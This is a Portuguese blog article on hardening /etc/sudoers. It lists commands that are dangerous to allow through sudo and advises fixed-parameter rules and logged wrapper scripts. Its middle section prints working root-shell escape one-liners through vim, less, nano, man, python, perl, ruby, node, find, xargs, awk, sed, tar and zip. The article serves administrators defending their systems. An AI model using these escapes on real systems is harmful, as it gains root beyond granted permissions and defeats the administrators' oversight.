Artigo > Comandos Linux perigosos para liberar no Sudo

O sudo é essencial, mas comandos liberados sem cuidado podem permitir escalonamento de privilégios e acesso root. VIM, TAR, Python e outros interpretadores são vetores críticos. Entenda riscos, configure /etc/sudoers com segurança e proteja seus servidores Linux contra invasões que exploram permissões mal configuradas.

391 Views
Tempo de Leitura: 6.57 minutos

O sudo (Superuser do) é uma ferramenta poderosa dos sistemas GNU/Linux que permite a execução de comandos privilegiados à usuários não privilegiados. Para que isso ocorra, é necessário que os comandos autorizados sejam previamente especificados no arquivo /etc/sudoers e devidamente liberados para o(s) usuário(s) ou grupo(s). Porém, existem comandos com potencial destrutivo e/ou que permitem ao usuário desprivilegiado escalar privilégios ganhando o shell logado com root. Por isso é muito importante entender que nem todo comando pode ser liberado, e que todo comando liberado precisa, antes, ser bem validado para evitar riscos de Escalonamento de Privilégios com sudo.

Ataques de Escalação de Privilégios no Linux

Antes de falarmos dos comandos, é preciso entender também que o escalonamento de privilégios é um dos principais vetores de ataques da plataforma Linux. Consiste na invasão do sistema por meio de vulnerabilidades em serviços. Uma vez que o invasor tenha acesso no sistema, buscará diretórios com permissões incorretas e Sudoers mal configurado para rodar comandos privilegiados, o que possibilitará fazer modificações no sistema ou até mesmo atacar outros equipamentos da rede, realizando assim um ataque horizontal; o pesadelo dos times de segurança.

É claro que, para que um ataque de escalonamento de privilégios ocorra, é preciso ter diversas falhas de segurança. A questão é que o Sudo talvez seja a última barreira de proteção. Logo, por essa e outras, tê-lo bem configurado é fundamental.

Para mais detalhe sobre ataques de escalação de privilégios, consulte o seguinte artigo do LinuxZilla:

https://www.linuxzilla.com.br/2021/10/22/linux-como-funcionam-os-ataques-de-escalonamento-de-privilegios/

Boas práticas na configuração do Sudo

Idealmente falando, todo comando liberado no Sudo deve ser validado para garantir que não ocorram abusos. A execução desses comandos deve ser registrada em logs como /var/log/secure ou /var/log/auth. Em ambientes críticos, esses logs devem ser monitorados ou ao menos auditados de tempos em tempos.

Comandos perigosos para liberar no /etc/sudoers:

Listo a seguir os comandos que considero perigosos para o sistema, mas existem outros além deles.

vim/vi

node/nodejs

tar

crontab

nano

find

zip/unzip

gdb

less/more

xargs

cp

strace

man

awk

mv

sort

python/python3

sed

ln

base64

perl

wget/curl

systemctl

ruby

ssh

mount

Comandos marcados na cor vermelha não devem ser liberados no Sudo, pois permitem, facilmente, o escalonamento de privilégios. Os demais até podem ser liberados, mas precisam ser muito bem declarados no Sudoers para que o usuário não consiga escapá-los ou usar parâmetros que lhe permita ganhar privilégios.

Por exemplo. Ao invés de liberar no Sudo apenas o sudo tar, libere o comando completo:

sudo tar -czvf /home/usuário/backup_logs.tar.gz /var/www/httpd/

Desta forma, o usuário não poderá rodar algo diferente disso. Vai dar um pouco de trabalho no começo, mas proporcionará maior segurança e conformidade ao mesmo tempo que lhe permitirá delegar o acesso necessário.

A seguir veremos técnicas de exploração usando alguns dos comandos supracitados. Observe se tratar de informações de cunho acadêmico. Não execute esses procedimentos em sistemas de terceiros ou em ambientes sem autorização. O LinuxZilla não se responsabiliza por danos ou consequências decorrentes do uso indevido das informações aqui fornecidas.

O escalonamento de privilégios usando comandos Linux:

Agora veremos alguns exemplos de como um /etc/sudoers mal configurado permite o escalonamento fácil de privilégios no sistema. Os exemplos a seguir são perfeitamente possíveis quando o comando é liberado no Sudo sem os parâmetros.

Comando VIM/VI

Uma vez que o usuário abra o VIM/VI com o comando sudo vim, ele estará executando o VIM/VI com privilégio de root. O VIM/VI permite executar sub comandos, e nesse sub comando podemos carregar o shell do root. Para isso basta digitar:

sudo vim arquivo
:!/bin/bash
Comando Nano

A mesma coisa do VIM/VI. Executando sudo nano, basta digitar a seguinte sequência para obter o shell com privilégio de root:

sudo nano arquivo
Ctrl+R
Ctrl+X
/bin/bash
Comando Less/More

Quando o usuário digita sudo less arquivo ou sudo more arquivo, bastará digitar !/bin/bash para cair no shell logado com root.

sudo less arquivo
!/bin/bash
Comando Man

O man é um comando de manuais de comandos do Linux. Por baixo ele abre o vim. O risco dele é o mesmo do vim. Ou seja, para ganhar o privilégio basta executar:

man comando
:!/bin/bash
Linguagens de Programação Python, Perl, Ruby e Node.js

Os comandos de interpretadores de linguagens de programação são costumeiramente liberados em servidores Linux de empresas que contam com scripts que automatizam tarefas, principalmente quando há departamentos N1, N2, N3. Contudo, se a liberação no Sudoers for negligenciada, permitindo a execução simples do interpretador como sudo python3, o usuário poderá executar qualquer coisa, inclusive escalar privilégios conforme exemplos a seguir:

Escalando privilégios com sudo python:

sudo python -c 'import os; os.system("/bin/bash")'
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

Escalando privilégios com sudo perl:

sudo perl -e 'exec "/bin/bash";'

Escalando privilégios com sudo ruby:

sudo ruby -e 'exec "/bin/bash"'

Escalando privilégios com sudo node:

sudo node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'
Comando Find

O find nos permite passar o parâmetro -exec que concatena o resultado da busca com a execução de um novo comando. Nesse momento podemos passar o /bin/bash para obter o shell do root.

sudo find /etc -name "passwd" -exec /bin/bash \;
sudo find . -exec /bin/bash \; -quit
Comando xargs

Também podemos passar o /bin/bash como parâmetro para o xargs, de modo que ele também carregará o shell logado com privilégio de root.

echo "/bin/bash" | sudo xargs
Comando awk

O awk é praticamente um interpretador de linguagem de programação. Podemos realizar chamadas system() com ele, como no Python. No exemplo a seguir passamos o /bin/bash na chamada system() para ganhar privilégio de root:

sudo awk 'BEGIN {system("/bin/bash")}'
Comando sed

Aqui o sed executa o /bin/bash como sub processo, obtendo o shell de root logado.

sudo sed -n '1e /bin/bash' /etc/passwd
Comando tar

O tar, que é um comando aparentemente inofensivo, também recebe parâmetros que permite escalar privilégios. O comando nos permite passar um subshell para validações de compressão, mas permite passar o /bin/bash, o que resulta no shell de root logado.

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
Comando zip

É um caso similar ao do TAR. Em um processo de compressão de arquivos/diretórios podemos passar o parâmetro --unzip-command para testar o arquivo zip criado. O valor passado no parâmetro pode ser o /bin/bash, permitindo o escalonamento de privilégios.

sudo zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c /bin/bash"

Boas práticas para o Sudo

A primeira dica já foi dada: evite liberar apenas os comandos. Comandos possuem parâmetros, e geralmente as pessoas usam apenas um ou dois parâmetros. Identifique quais parâmetros são necessários e libere-os. Jamais libere apenas o comando.

Para os editores de texto marcados na cor vermelha na tabela deste artigo, sugiro criar scripts com validações adequadas de segurança e geração de logs contendo data, hora, login de quem está executando e a ação. Desta forma o acesso pode ser concedido ao mesmo tempo que o ambiente fica protegido e auditável. Depois de elaborado, basta colocar o colocar o script no /etc/sudoers ou /etc/sudoers.d/nome-sugestivo.

Resumo

Ações mal fundamentadas podem gerar graves consequências. Um comando simples e aparentemente inofensivo pode causar grandes estragos. Guarde isso: grandes problemas surgem por onde menos se esperam. O Sudo é um ofensor em potencial, pois ele será analisado por um ator invasor de sistemas.

Faça o que tiver que fazer, mas faça com calma. Pense com maldade de um invasor. Esse mindset vale muito dinheiro.

Abraços e até a próxima.

3 - 0

Thank You For Your Vote!

Sorry You have Already Voted!

Rolar para cima